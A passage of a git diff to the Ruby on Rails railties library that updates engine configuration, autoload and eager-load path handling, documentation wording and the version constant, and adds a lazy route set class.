           namespace, configuration = method, args.shift
diff --git a/railties/lib/rails/console/app.rb b/railties/lib/rails/console/app.rb
deleted file mode 100644
index affadc8e09191..0000000000000
--- a/railties/lib/rails/console/app.rb
+++ /dev/null
@@ -1,36 +0,0 @@
-require "active_support/all"
-require "action_controller"
-
-module Rails
-  module ConsoleMethods
-    # reference the global "app" instance, created on demand. To recreate the
-    # instance, pass a non-false value as the parameter.
-    def app(create = false)
-      @app_integration_instance = nil if create
-      @app_integration_instance ||= new_session do |sess|
-        sess.host! "www.example.com"
-      end
-    end
-
-    # create a new session. If a block is given, the new session will be yielded
-    # to the block before being returned.
-    def new_session
-      app = Rails.application
-      session = ActionDispatch::Integration::Session.new(app)
-      yield session if block_given?
-
-      # This makes app.url_for and app.foo_path available in the console
-      session.extend(app.routes.url_helpers)
-      session.extend(app.routes.mounted_helpers)
-
-      session
-    end
-
-    # reloads the environment
-    def reload!(print = true)
-      puts "Reloading..." if print
-      Rails.application.reloader.reload!
-      true
-    end
-  end
-end
diff --git a/railties/lib/rails/console/helpers.rb b/railties/lib/rails/console/helpers.rb
deleted file mode 100644
index a33f71dc5b875..0000000000000
--- a/railties/lib/rails/console/helpers.rb
+++ /dev/null
@@ -1,17 +0,0 @@
-module Rails
-  module ConsoleMethods
-    # Gets the helper methods available to the controller.
-    #
-    # This method assumes an +ApplicationController+ exists, and it extends +ActionController::Base+
-    def helper
-      ApplicationController.helpers
-    end
-
-    # Gets a new instance of a controller object.
-    #
-    # This method assumes an +ApplicationController+ exists, and it extends +ActionController::Base+
-    def controller
-      @controller ||= ApplicationController.new
-    end
-  end
-end
diff --git a/railties/lib/rails/deprecator.rb b/railties/lib/rails/deprecator.rb
new file mode 100644
index 0000000000000..2ac56b1043477
--- /dev/null
+++ b/railties/lib/rails/deprecator.rb
@@ -0,0 +1,7 @@
+# frozen_string_literal: true
+
+module Rails
+  def self.deprecator # :nodoc:
+    @deprecator ||= ActiveSupport::Deprecation.new
+  end
+end
diff --git a/railties/lib/rails/dev_caching.rb b/railties/lib/rails/dev_caching.rb
index f69275a34a6ec..4017a848f2bfe 100644
--- a/railties/lib/rails/dev_caching.rb
+++ b/railties/lib/rails/dev_caching.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "fileutils"
 
 module Rails
@@ -10,14 +12,13 @@ def enable_by_file
 
         if File.exist?(FILE)
           delete_cache_file
-          puts "Development mode is no longer being cached."
+          puts "Action Controller caching disabled for development mode."
         else
           create_cache_file
-          puts "Development mode is now being cached."
+          puts "Action Controller caching enabled for development mode."
         end
 
         FileUtils.touch "tmp/restart.txt"
-        FileUtils.rm_f("tmp/pids/server.pid")
       end
 
       def enable_by_argument(caching)
diff --git a/railties/lib/rails/devtools_controller.rb b/railties/lib/rails/devtools_controller.rb
new file mode 100644
index 0000000000000..cb6673631a979
--- /dev/null
+++ b/railties/lib/rails/devtools_controller.rb
@@ -0,0 +1,17 @@
+# frozen_string_literal: true
+
+require "active_support/core_ext/digest/uuid"
+
+class Rails::DevtoolsController < ActionController::Base # :nodoc:
+  def show
+    root_path = Rails.root.to_s
+    uuid = Digest::UUID.uuid_v5(Digest::UUID::DNS_NAMESPACE, Rails.root.to_s)
+
+    render json: {
+      "workspace": {
+        "root": root_path,
+        "uuid": uuid
+      }
+    }
+  end
+end
diff --git a/railties/lib/rails/engine.rb b/railties/lib/rails/engine.rb
index dc0b158bd4baa..aeda5b09a60d7 100644
--- a/railties/lib/rails/engine.rb
+++ b/railties/lib/rails/engine.rb
@@ -1,17 +1,20 @@
+# frozen_string_literal: true
+
 require "rails/railtie"
 require "rails/engine/railties"
-require "active_support/core_ext/module/delegation"
+require "active_support/callbacks"
+require "active_support/core_ext/object/try"
 require "pathname"
-require "thread"
 
 module Rails
-  # <tt>Rails::Engine</tt> allows you to wrap a specific Rails application or subset of
+  # +Rails::Engine+ allows you to wrap a specific \Rails application or subset of
   # functionality and share it with other applications or within a larger packaged application.
-  # Every <tt>Rails::Application</tt> is just an engine, which allows for simple
+  # Every Rails::Application is just an engine, which allows for simple
   # feature and application sharing.
   #
-  # Any <tt>Rails::Engine</tt> is also a <tt>Rails::Railtie</tt>, so the same
-  # methods (like <tt>rake_tasks</tt> and +generators+) and configuration
+  # Any +Rails::Engine+ is also a Rails::Railtie, so the same
+  # methods (like {rake_tasks}[rdoc-ref:Rails::Railtie::rake_tasks] and
+  # {generators}[rdoc-ref:Rails::Railtie::generators]) and configuration
   # options that are available in railties can also be used in engines.
   #
   # == Creating an Engine
@@ -27,20 +30,20 @@ module Rails
   #   end
   #
   # Then ensure that this file is loaded at the top of your <tt>config/application.rb</tt>
-  # (or in your +Gemfile+) and it will automatically load models, controllers and helpers
+  # (or in your +Gemfile+), and it will automatically load models, controllers, and helpers
   # inside +app+, load routes at <tt>config/routes.rb</tt>, load locales at
-  # <tt>config/locales/*</tt>, and load tasks at <tt>lib/tasks/*</tt>.
+  # <tt>config/locales/**/*</tt>, and load tasks at <tt>lib/tasks/**/*</tt>.
   #
   # == Configuration
   #
-  # Besides the +Railtie+ configuration which is shared across the application, in a
-  # <tt>Rails::Engine</tt> you can access <tt>autoload_paths</tt>, <tt>eager_load_paths</tt>
-  # and <tt>autoload_once_paths</tt>, which, differently from a <tt>Railtie</tt>, are scoped to
-  # the current engine.
+  # Like railties, engines can access a config object which contains configuration shared by
+  # all railties and the application.
+  # Additionally, each engine can access <tt>autoload_paths</tt>, <tt>eager_load_paths</tt> and
+  # <tt>autoload_once_paths</tt> settings which are scoped to that engine.
   #
   #   class MyEngine < Rails::Engine
   #     # Add a load path for this specific Engine
-  #     config.autoload_paths << File.expand_path("../lib/some/path", __FILE__)
+  #     config.autoload_paths << File.expand_path("lib/some/path", __dir__)
   #
   #     initializer "my_engine.add_middleware" do |app|
   #       app.middleware.use MyEngine::Middleware
@@ -110,9 +113,9 @@ module Rails
   # == Endpoint
   #
   # An engine can also be a Rack application. It can be useful if you have a Rack application that
-  # you would like to wrap with +Engine+ and provide with some of the +Engine+'s features.
+  # you would like to provide with some of the +Engine+'s features.
   #
-  # To do that, use the +endpoint+ method:
+  # To do that, use the ::endpoint method:
   #
   #   module MyEngine
   #     class Engine < Rails::Engine
@@ -120,7 +123,7 @@ module Rails
   #     end
   #   end
   #
-  # Now you can mount your engine in application's routes just like that:
+  # Now you can mount your engine in application's routes:
   #
   #   Rails.application.routes.draw do
   #     mount MyEngine::Engine => "/engine"
@@ -177,7 +180,7 @@ module Rails
   #   it's used as default <tt>:as</tt> option
   # * rake task for installing migrations <tt>my_engine:install:migrations</tt>
   #
-  # Engine name is set by default based on class name. For <tt>MyEngine::Engine</tt> it will be
+  # Engine name is set by default based on class name. For +MyEngine::Engine+ it will be
   # <tt>my_engine_engine</tt>. You can change it manually using the <tt>engine_name</tt> method:
   #
   #   module MyEngine
@@ -188,13 +191,13 @@ module Rails
   #
   # == Isolated Engine
   #
-  # Normally when you create controllers, helpers and models inside an engine, they are treated
+  # Normally when you create controllers, helpers, and models inside an engine, they are treated
   # as if they were created inside the application itself. This means that all helpers and
   # named routes from the application will be available to your engine's controllers as well.
   #
   # However, sometimes you want to isolate your engine from the application, especially if your engine
-  # has its own router. To do that, you simply need to call +isolate_namespace+. This method requires
-  # you to pass a module where all your controllers, helpers and models should be nested to:
+  # has its own router. To do that, you simply need to call ::isolate_namespace. This method requires
+  # you to pass a module where all your controllers, helpers, and models should be nested to:
   #
   #   module MyEngine
   #     class Engine < Rails::Engine
@@ -226,29 +229,29 @@ module Rails
   #     resources :articles
   #   end
   #
-  # If +MyEngine+ is isolated, The routes above will point to
-  # <tt>MyEngine::ArticlesController</tt>. You also don't need to use longer
-  # url helpers like +my_engine_articles_path+. Instead, you should simply use
+  # If +MyEngine+ is isolated, the routes above will point to
+  # +MyEngine::ArticlesController+. You also don't need to use longer
+  # URL helpers like +my_engine_articles_path+. Instead, you should simply use
   # +articles_path+, like you would do with your main application.
   #
   # To make this behavior consistent with other parts of the framework,
-  # isolated engines also have an effect on <tt>ActiveModel::Naming</tt>. In a
-  # normal Rails app, when you use a namespaced model such as
-  # <tt>Namespace::Article</tt>, <tt>ActiveModel::Naming</tt> will generate
+  # isolated engines also have an effect on ActiveModel::Naming. In a
+  # normal \Rails app, when you use a namespaced model such as
+  # +Namespace::Article+, ActiveModel::Naming will generate
   # names with the prefix "namespace". In an isolated engine, the prefix will
-  # be omitted in url helpers and form fields, for convenience.
+  # be omitted in URL helpers and form fields, for convenience.
   #
   #   polymorphic_url(MyEngine::Article.new)
   #   # => "articles_path" # not "my_engine_articles_path"
   #
-  #   form_for(MyEngine::Article.new) do
+  #   form_with(model: MyEngine::Article.new) do
   #     text_field :title # => <input type="text" name="article[title]" id="article_title" />
   #   end
   #
   # Additionally, an isolated engine will set its own name according to its
   # namespace, so <tt>MyEngine::Engine.engine_name</tt> will return
   # "my_engine". It will also set +MyEngine.table_name_prefix+ to "my_engine_",
-  # meaning for example that <tt>MyEngine::Article</tt> will use the
+  # meaning for example that +MyEngine::Article+ will use the
   # +my_engine_articles+ database table by default.
   #
   # == Using Engine's routes outside Engine
@@ -284,19 +287,19 @@ module Rails
   # Note that the <tt>:as</tt> option given to mount takes the <tt>engine_name</tt> as default, so most of the time
   # you can simply omit it.
   #
-  # Finally, if you want to generate a url to an engine's route using
+  # Finally, if you want to generate a URL to an engine's route using
   # <tt>polymorphic_url</tt>, you also need to pass the engine helper. Let's
   # say that you want to create a form pointing to one of the engine's routes.
   # All you need to do is pass the helper as the first element in array with
-  # attributes for url:
+  # attributes for URL:
   #
-  #   form_for([my_engine, @user])
+  #   form_with(model: [my_engine, @user])
   #
   # This code will use <tt>my_engine.user_path(@user)</tt> to generate the proper route.
   #
   # == Isolated engine's helpers
   #
-  # Sometimes you may want to isolate engine, but use helpers that are defined for it.
+  # Sometimes you may want to isolate an engine, but use helpers that are defined for it.
   # If you want to share just a few specific helpers you can add them to application's
   # helpers in ApplicationController:
   #
@@ -311,7 +314,7 @@ module Rails
   #     helper MyEngine::Engine.helpers
   #   end
   #
-  # It will include all of the helpers from engine's directory. Take into account that this does
+  # It will include all of the helpers from engine's directory. Take into account this does
   # not include helpers defined in controllers with helper_method or other similar solutions,
   # only helpers defined in the helpers directory will be included.
   #
@@ -323,7 +326,7 @@ module Rails
   # To use engine's migrations in application you can use the rake task below, which copies them to
   # application's dir:
   #
-  #   rake ENGINE_NAME:install:migrations
+  #   $ rake ENGINE_NAME:install:migrations
   #
   # Note that some of the migrations may be skipped if a migration with the same name already exists
   # in application. In such a situation you must decide whether to leave that migration or rename the
@@ -344,6 +347,7 @@ module Rails
   #   config.railties_order = [Blog::Engine, :main_app, :all]
   class Engine < Railtie
     autoload :Configuration, "rails/engine/configuration"
+    autoload :LazyRouteSet,  "rails/engine/lazy_route_set"
 
     class << self
       attr_accessor :called_from, :isolated
@@ -360,7 +364,7 @@ def inherited(base)
           base.called_from = begin
             call_stack = caller_locations.map { |l| l.absolute_path || l.path }
 
-            File.dirname(call_stack.detect { |p| p !~ %r[railties[\w.-]*/lib/rails|rack[\w.-]*/lib/rack] })
+            File.dirname(call_stack.detect { |p| !p.match?(%r[railties[\w.-]*/lib/rails|rack[\w.-]*/lib/rack]) })
           end
         end
 
@@ -380,7 +384,8 @@ def endpoint(endpoint = nil)
       def isolate_namespace(mod)
         engine_name(generate_railtie_name(mod.name))
 
-        routes.default_scope = { module: ActiveSupport::Inflector.underscore(mod.name) }
+        config.default_scope = { module: ActiveSupport::Inflector.underscore(mod.name) }
+
         self.isolated = true
 
         unless mod.respond_to?(:railtie_namespace)
@@ -391,6 +396,12 @@ def isolate_namespace(mod)
 
             unless mod.respond_to?(:table_name_prefix)
               define_method(:table_name_prefix) { "#{name}_" }
+
+              ActiveSupport.on_load(:active_record) do
+                mod.singleton_class.redefine_method(:table_name_prefix) do
+                  "#{ActiveRecord::Base.table_name_prefix}#{name}_"
+                end
+              end
             end
 
             unless mod.respond_to?(:use_relative_model_naming?)
@@ -419,6 +430,9 @@ def find(path)
       end
     end
 
+    include ActiveSupport::Callbacks
+    define_callbacks :load_seed
+
     delegate :middleware, :root, :paths, to: :config
     delegate :engine_name, :isolated?, to: :class
 
@@ -435,31 +449,29 @@ def initialize
     end
 
     # Load console and invoke the registered hooks.
-    # Check <tt>Rails::Railtie.console</tt> for more info.
+    # Check Rails::Railtie.console for more info.
     def load_console(app = self)
-      require "rails/console/app"
-      require "rails/console/helpers"
       run_console_blocks(app)
       self
     end
 
-    # Load Rails runner and invoke the registered hooks.
-    # Check <tt>Rails::Railtie.runner</tt> for more info.
+    # Load \Rails runner and invoke the registered hooks.
+    # Check Rails::Railtie.runner for more info.
     def load_runner(app = self)
       run_runner_blocks(app)
       self
     end
 
-    # Load Rake, railties tasks and invoke the registered hooks.
-    # Check <tt>Rails::Railtie.rake_tasks</tt> for more info.
+    # Load Rake and railties tasks, and invoke the registered hooks.
+    # Check Rails::Railtie.rake_tasks for more info.
     def load_tasks(app = self)
       require "rake"
       run_tasks_blocks(app)
       self
     end
 
-    # Load Rails generators and invoke the registered hooks.
-    # Check <tt>Rails::Railtie.generators</tt> for more info.
+    # Load \Rails generators and invoke the registered hooks.
+    # Check Rails::Railtie.generators for more info.
     def load_generators(app = self)
       require "rails/generators"
       run_generators_blocks(app)
@@ -467,15 +479,16 @@ def load_generators(app = self)
       self
     end
 
-    # Eager load the application by loading all ruby
-    # files inside eager_load paths.
+    # Invoke the server registered hooks.
+    # Check Rails::Railtie.server for more info.
+    def load_server(app = self)
+      run_server_blocks(app)
+      self
+    end
+
     def eager_load!
-      config.eager_load_paths.each do |load_path|
-        matcher = /\A#{Regexp.escape(load_path.to_s)}\/(.*)\.rb\Z/
-        Dir.glob("#{load_path}/**/*.rb").sort.each do |file|
-          require_dependency file.sub(matcher, '\1')
-        end
-      end
+      # Already done by Zeitwerk::Loader.eager_load_all. By now, we leave the
+      # method as a no-op for backwards compatibility.
     end
 
     def railties
@@ -486,8 +499,7 @@ def railties
     def helpers
       @helpers ||= begin
         helpers = Module.new
-        all = ActionController::Base.all_helpers_from_path(helpers_paths)
-        ActionController::Base.modules_for_helpers(all).each do |mod|
+        AbstractController::Helpers.helper_modules_from_paths(helpers_paths).each do |mod|
           helpers.include(mod)
         end
         helpers
@@ -529,9 +541,9 @@ def env_config
 
     # Defines the routes for this engine. If a block is given to
     # routes, it is appended to the engine.
-    def routes
-      @routes ||= ActionDispatch::Routing::RouteSet.new_with_config(config)
-      @routes.append(&Proc.new) if block_given?
+    def routes(&block)
+      @routes ||= config.route_set_class.new_with_config(config)
+      @routes.append(&block) if block_given?
       @routes
     end
 
@@ -546,38 +558,55 @@ def config
     # Blog::Engine.load_seed
     def load_seed
       seed_file = paths["db/seeds.rb"].existent.first
-      load(seed_file) if seed_file
+      run_callbacks(:load_seed) { load(seed_file) } if seed_file
+    end
+
+    initializer :load_environment_config, before: :load_environment_hook, group: :all do
+      env_files = paths["config/environments"].existent
+
+      if env_files.empty? && any_environment_files?
+        missing_environment_file
+      else
+        env_files.each do |environment|
+          require environment
+        end
+      end
     end
 
-    # Add configured load paths to Ruby's load path, and remove duplicate entries.
-    initializer :set_load_path, before: :bootstrap_hook do
-      _all_load_paths.reverse_each do |path|
+    initializer :set_load_path, before: :bootstrap_hook do |app|
+      _all_load_paths(app.config.add_autoload_paths_to_load_path).reverse_each do |path|
         $LOAD_PATH.unshift(path) if File.directory?(path)
       end
       $LOAD_PATH.uniq!
     end
 
-    # Set the paths from which Rails will automatically load source files,
-    # and the load_once paths.
-    #
-    # This needs to be an initializer, since it needs to run once
-    # per engine and get the engine as a block parameter.
     initializer :set_autoload_paths, before: :bootstrap_hook do
       ActiveSupport::Dependencies.autoload_paths.unshift(*_all_autoload_paths)
       ActiveSupport::Dependencies.autoload_once_paths.unshift(*_all_autoload_once_paths)
 
-      # Freeze so future modifications will fail rather than do nothing mysteriously
       config.autoload_paths.freeze
-      config.eager_load_paths.freeze
       config.autoload_once_paths.freeze
     end
 
+    initializer :set_eager_load_paths, before: :bootstrap_hook do
+      ActiveSupport::Dependencies._eager_load_paths.merge(config.all_eager_load_paths)
+      config.eager_load_paths.freeze
+    end
+
+    initializer :make_routes_lazy, before: :bootstrap_hook do |app|
+      config.route_set_class = LazyRouteSet if Rails.env.local?
+    end
+
     initializer :add_routing_paths do |app|
       routing_paths = paths["config/routes.rb"].existent
+      external_paths = self.paths["config/routes"].paths
+      routes.draw_paths.concat(external_paths)
+      app.routes.draw_paths.concat(external_paths)
 
       if routes? || routing_paths.any?
         app.routes_reloader.paths.unshift(*routing_paths)
         app.routes_reloader.route_sets << routes
+        app.routes_reloader.external_routes.unshift(*external_paths)
       end
     end
 
@@ -595,9 +624,19 @@ def load_seed
       end
     end
 
-    initializer :load_environment_config, before: :load_environment_hook, group: :all do
-      paths["config/environments"].existent.each do |environment|
-        require environment
+    initializer :add_mailer_preview_paths do
+      previews = paths["test/mailers/previews"].existent
+      unless previews.empty?
+        ActiveSupport.on_load(:action_mailer) { self.preview_paths |= previews }
+      end
+    end
+
+    initializer :add_fixture_paths do
+      next if is_a?(Rails::Application)
+
+      fixtures = config.root.join("test", "fixtures")
+      if fixtures_in_root_and_not_in_vendor_or_dot_dir?(fixtures)
+        ActiveSupport.on_load(:active_record_fixtures) { self.fixture_paths |= ["#{fixtures}/"] }
       end
     end
 
@@ -613,6 +652,12 @@ def load_seed
       end
     end
 
+    initializer :wrap_reloader_around_load_seed do |app|
+      self.class.set_callback(:load_seed, :around) do |engine, seeds_block|
+        app.reloader.wrap(&seeds_block)
+      end
+    end
+
     initializer :engines_blank_point do
       # We need this initializer so all extra initializers added in engines are
       # consistently executed after all the initializers above across all engines.
@@ -637,18 +682,22 @@ def load_seed
       end
     end
 
-    def routes? #:nodoc:
+    def routes? # :nodoc:
       @routes
     end
 
     protected
-
-      def run_tasks_blocks(*) #:nodoc:
+      def run_tasks_blocks(*) # :nodoc:
         super
         paths["lib/tasks"].existent.sort.each { |ext| load(ext) }
       end
 
     private
+      def missing_environment_file; end
+
+      def any_environment_files?
+        false
+      end
 
       def load_config_initializer(initializer) # :doc:
         ActiveSupport::Notifications.instrument("load_config_initializer.railties", initializer: initializer) do
@@ -660,7 +709,7 @@ def has_migrations?
         paths["db/migrate"].existent.any?
       end
 
-      def self.find_root_with_flag(flag, root_path, default = nil) #:nodoc:
+      def self.find_root_with_flag(flag, root_path, default = nil) # :nodoc:
         while root_path && File.directory?(root_path) && !File.exist?("#{root_path}/#{flag}")
           parent = File.dirname(root_path)
           root_path = parent != root_path && parent
@@ -677,15 +726,33 @@ def default_middleware_stack
       end
 
       def _all_autoload_once_paths
-        config.autoload_once_paths
+        config.all_autoload_once_paths.uniq
       end
 
       def _all_autoload_paths
-        @_all_autoload_paths ||= (config.autoload_paths + config.eager_load_paths + config.autoload_once_paths).uniq
+        @_all_autoload_paths ||= begin
+          autoload_paths  = config.all_autoload_paths
+          autoload_paths += config.all_eager_load_paths
+          autoload_paths -= config.all_autoload_once_paths
+          autoload_paths.uniq
+        end
+      end
+
+      def _all_load_paths(add_autoload_paths_to_load_path)
+        @_all_load_paths ||= begin
+          load_paths = config.paths.load_paths
+          if add_autoload_paths_to_load_path
+            load_paths += _all_autoload_paths
+            load_paths += _all_autoload_once_paths
+          end
+          load_paths.uniq
+        end
       end
 
-      def _all_load_paths
-        @_all_load_paths ||= (config.paths.load_paths + _all_autoload_paths).uniq
+      def fixtures_in_root_and_not_in_vendor_or_dot_dir?(fixtures)
+        fixtures.exist? && fixtures.to_s.start_with?(Rails.root.to_s) &&
+          !fixtures.to_s.start_with?(Rails.root.join("vendor").to_s) &&
+          !fixtures.to_s.start_with?("#{Rails.root}/.".to_s)
       end
 
       def build_request(env)
diff --git a/railties/lib/rails/engine/commands.rb b/railties/lib/rails/engine/commands.rb
index b9ef63243a365..05218640c6227 100644
--- a/railties/lib/rails/engine/commands.rb
+++ b/railties/lib/rails/engine/commands.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 unless defined?(APP_PATH)
   if File.exist?(File.expand_path("test/dummy/config/application.rb", ENGINE_ROOT))
     APP_PATH = File.expand_path("test/dummy/config/application", ENGINE_ROOT)
diff --git a/railties/lib/rails/engine/configuration.rb b/railties/lib/rails/engine/configuration.rb
index 0c40173c38e38..31a75b1d3af80 100644
--- a/railties/lib/rails/engine/configuration.rb
+++ b/railties/lib/rails/engine/configuration.rb
@@ -1,17 +1,55 @@
+# frozen_string_literal: true
+
 require "rails/railtie/configuration"
 
 module Rails
   class Engine
     class Configuration < ::Rails::Railtie::Configuration
       attr_reader :root
-      attr_accessor :middleware
+      attr_accessor :middleware, :javascript_path, :route_set_class, :default_scope
       attr_writer :eager_load_paths, :autoload_once_paths, :autoload_paths
 
+      # An array of custom autoload paths to be added to the ones defined
+      # automatically by Rails. These won't be eager loaded, unless you push
+      # them to +eager_load_paths+ too, which is recommended.
+      #
+      # This collection is empty by default, it accepts strings and +Pathname+
+      # objects.
+      #
+      # If you'd like to add +lib+ to it, please see +autoload_lib+.
+      attr_reader :autoload_paths
+
+      # An array of custom autoload once paths. These won't be eager loaded
+      # unless you push them to +eager_load_paths+ too, which is recommended.
+      #
+      # This collection is empty by default, it accepts strings and +Pathname+
+      # objects.
+      #
+      # If you'd like to add +lib+ to it, please see +autoload_lib_once+.
+      attr_reader :autoload_once_paths
+
+      # An array of custom eager load paths to be added to the ones defined
+      # automatically by Rails. Anything in this collection is considered to be
+      # an autoload path regardless of whether it was added to +autoload_paths+.
+      #
+      # This collection is empty by default, it accepts strings and +Pathname+
+      # objects.
+      #
+      # If you'd like to add +lib+ to it, please see +autoload_lib+.
+      attr_reader :eager_load_paths
+
       def initialize(root = nil)
         super()
         @root = root
         @generators = app_generators.dup
         @middleware = Rails::Configuration::MiddlewareStackProxy.new
+        @javascript_path = "javascript"
+        @route_set_class = ActionDispatch::Routing::RouteSet
+        @default_scope = nil
+
+        @autoload_paths = []
+        @autoload_once_paths = []
+        @eager_load_paths = []
       end
 
       # Holds generators configuration:
@@ -36,24 +74,30 @@ def paths
         @paths ||= begin
           paths = Rails::Paths::Root.new(@root)
 
-          paths.add "app",                 eager_load: true, glob: "{*,*/concerns}"
+          paths.add "app",                 eager_load: true,
+                                           glob: "{*,*/concerns}",
+                                           exclude: ["assets", javascript_path]
           paths.add "app/assets",          glob: "*"
           paths.add "app/controllers",     eager_load: true
-          paths.add "app/channels",        eager_load: true, glob: "**/*_channel.rb"
+          paths.add "app/channels",        eager_load: true
           paths.add "app/helpers",         eager_load: true
           paths.add "app/models",          eager_load: true
           paths.add "app/mailers",         eager_load: true
           paths.add "app/views"
 
+          # If you add more lib subdirectories here that should not be managed
+          # by the main autoloader, please update the config.autoload_lib call
+          # in the template that generates config/application.rb accordingly.
           paths.add "lib",                 load_path: true
           paths.add "lib/assets",          glob: "*"
           paths.add "lib/tasks",           glob: "**/*.rake"
 
           paths.add "config"
-          paths.add "config/environments", glob: "#{Rails.env}.rb"
+          paths.add "config/environments", glob: -"#{Rails.env}.rb"
           paths.add "config/initializers", glob: "**/*.rb"
-          paths.add "config/locales",      glob: "*.{rb,yml}"
+          paths.add "config/locales",      glob: "**/*.{rb,yml}"
           paths.add "config/routes.rb"
+          paths.add "config/routes",       glob: "**/*.rb"
 
           paths.add "db"
           paths.add "db/migrate"
@@ -62,6 +106,8 @@ def paths
           paths.add "vendor",              load_path: true
           paths.add "vendor/assets",       glob: "*"
 
+          paths.add "test/mailers/previews", autoload: true
+
           paths
         end
       end
@@ -70,16 +116,22 @@ def root=(value)
         @root = paths.path = Pathname.new(value).expand_path
       end
 
-      def eager_load_paths
-        @eager_load_paths ||= paths.eager_load
+      # Private method that adds custom autoload paths to the ones defined by
+      # +paths+.
+      def all_autoload_paths # :nodoc:
+        autoload_paths + paths.autoload_paths
       end
 
-      def autoload_once_paths
-        @autoload_once_paths ||= paths.autoload_once
+      # Private method that adds custom autoload once paths to the ones defined
+      # by +paths+.
+      def all_autoload_once_paths # :nodoc:
+        autoload_once_paths + paths.autoload_once
       end
 
-      def autoload_paths
-        @autoload_paths ||= paths.autoload_paths
+      # Private method that adds custom eager load paths to the ones defined by
+      # +paths+.
+      def all_eager_load_paths # :nodoc:
+        eager_load_paths + paths.eager_load
       end
     end
   end
diff --git a/railties/lib/rails/engine/lazy_route_set.rb b/railties/lib/rails/engine/lazy_route_set.rb
new file mode 100644
index 0000000000000..b264a6fd86c5b
--- /dev/null
+++ b/railties/lib/rails/engine/lazy_route_set.rb
@@ -0,0 +1,111 @@
+# frozen_string_literal: true
+
+# :markup: markdown
+
+require "action_dispatch/routing/route_set"
+
+# :enddoc:
+
+module Rails
+  class Engine
+    class LazyRouteSet < ActionDispatch::Routing::RouteSet
+      class NamedRouteCollection < ActionDispatch::Routing::RouteSet::NamedRouteCollection
+        def route_defined?(name)
+          Rails.application&.reload_routes_unless_loaded
+          super
+        end
+      end
+
+      module ProxyUrlHelpers
+        def url_for(options)
+          Rails.application&.reload_routes_unless_loaded
+          super
+        end
+
+        def full_url_for(options)
+          Rails.application&.reload_routes_unless_loaded
+          super
+        end
+
+        def route_for(name, *args)
+          Rails.application&.reload_routes_unless_loaded
+          super
+        end
+
+        def optimize_routes_generation?
+          Rails.application&.reload_routes_unless_loaded
+          super
+        end
+      end
+
+      def initialize(config = DEFAULT_CONFIG)
+        super
+        self.named_routes = NamedRouteCollection.new
+        named_routes.url_helpers_module.prepend(method_missing_module)
+        named_routes.path_helpers_module.prepend(method_missing_module)
+      end
+
+      def generate_extras(options, recall = {})
+        Rails.application&.reload_routes_unless_loaded
+
+        super(options, recall)
+      end
+
+      def generate_url_helpers(supports_path)
+        super.tap { |mod| mod.singleton_class.prepend(ProxyUrlHelpers) }
+      end
+
+      def call(req)
+        Rails.application&.reload_routes_unless_loaded
+        super
+      end
+
+      def polymorphic_mappings
+        Rails.application&.reload_routes_unless_loaded
+        super
+      end
+
+      def draw(&block)
+        Rails.application&.reload_routes_unless_loaded
+        super
+      end
+
+      def recognize_path(path, environment = {})
+        Rails.application&.reload_routes_unless_loaded
+        super
+      end
+
+      def recognize_path_with_request(...)
+        Rails.application&.reload_routes_unless_loaded
+        super
+      end
+
+      def routes
+        Rails.application&.reload_routes_unless_loaded
+        super
+      end
+
+      private
+        def method_missing_module
+          @method_missing_module ||= Module.new do
+            private
+              def method_missing(...)
+                if Rails.application&.reload_routes_unless_loaded
+                  public_send(...)
+                else
+                  super
+                end
+              end
+
+              def respond_to_missing?(...)
+                if Rails.application&.reload_routes_unless_loaded
+                  respond_to?(...)
+                else
+                  super
+                end
+              end
+          end
+        end
+    end
+  end
+end
diff --git a/railties/lib/rails/engine/railties.rb b/railties/lib/rails/engine/railties.rb
index 9969a1475d67f..052b74c88081a 100644
--- a/railties/lib/rails/engine/railties.rb
+++ b/railties/lib/rails/engine/railties.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 module Rails
   class Engine < Railtie
     class Railties
diff --git a/railties/lib/rails/engine/updater.rb b/railties/lib/rails/engine/updater.rb
new file mode 100644
index 0000000000000..8db8b0e61c2d2
--- /dev/null
+++ b/railties/lib/rails/engine/updater.rb
@@ -0,0 +1,21 @@
+# frozen_string_literal: true
+
+require "rails/generators"
+require "rails/generators/rails/plugin/plugin_generator"
+
+module Rails
+  class Engine
+    class Updater
+      class << self
+        def generator
+          @generator ||= Rails::Generators::PluginGenerator.new ["plugin"],
+            { engine: true }, { destination_root: ENGINE_ROOT }
+        end
+
+        def run(action)
+          generator.public_send(action)
+        end
+      end
+    end
+  end
+end
diff --git a/railties/lib/rails/gem_version.rb b/railties/lib/rails/gem_version.rb
index 9c49e0655aea6..9fed1e48d45c3 100644
--- a/railties/lib/rails/gem_version.rb
+++ b/railties/lib/rails/gem_version.rb
@@ -1,12 +1,14 @@
+# frozen_string_literal: true
+
 module Rails
-  # Returns the version of the currently loaded Rails as a <tt>Gem::Version</tt>
+  # Returns the currently loaded version of \Rails as a +Gem::Version+.
   def self.gem_version
     Gem::Version.new VERSION::STRING
   end
 
   module VERSION
-    MAJOR = 5
-    MINOR = 1
+    MAJOR = 8
+    MINOR = 2
     TINY  = 0
     PRE   = "alpha"
 
diff --git a/railties/lib/rails/generators.rb b/railties/lib/rails/generators.rb
index 99bda728eef52..f1d694972eb44 100644
--- a/railties/lib/rails/generators.rb
+++ b/railties/lib/rails/generators.rb
@@ -1,15 +1,13 @@
-activesupport_path = File.expand_path("../../../../activesupport/lib", __FILE__)
-$:.unshift(activesupport_path) if File.directory?(activesupport_path) && !$:.include?(activesupport_path)
+# frozen_string_literal: true
 
 require "thor/group"
 require "rails/command"
 
-require "active_support"
-require "active_support/core_ext/object/blank"
-require "active_support/core_ext/kernel/singleton_class"
 require "active_support/core_ext/array/extract_options"
+require "active_support/core_ext/enumerable"
 require "active_support/core_ext/hash/deep_merge"
 require "active_support/core_ext/module/attribute_accessors"
+require "active_support/core_ext/string/indent"
 require "active_support/core_ext/string/inflections"
 
 module Rails
@@ -20,6 +18,8 @@ module Generators
     autoload :ActiveModel,     "rails/generators/active_model"
     autoload :Base,            "rails/generators/base"
     autoload :Migration,       "rails/generators/migration"
+    autoload :Database,        "rails/generators/database"
+    autoload :AppName,         "rails/generators/app_name"
     autoload :NamedBase,       "rails/generators/named_base"
     autoload :ResourceHelpers, "rails/generators/resource_helpers"
     autoload :TestCase,        "rails/generators/test_case"
@@ -30,13 +30,10 @@ module Generators
       rails: {
         actions: "-a",
         orm: "-o",
-        javascripts: "-j",
-        javascript_engine: "-je",
+        javascripts: ["-j", "--js"],
         resource_controller: "-c",
         scaffold_controller: "-c",
         stylesheets: "-y",
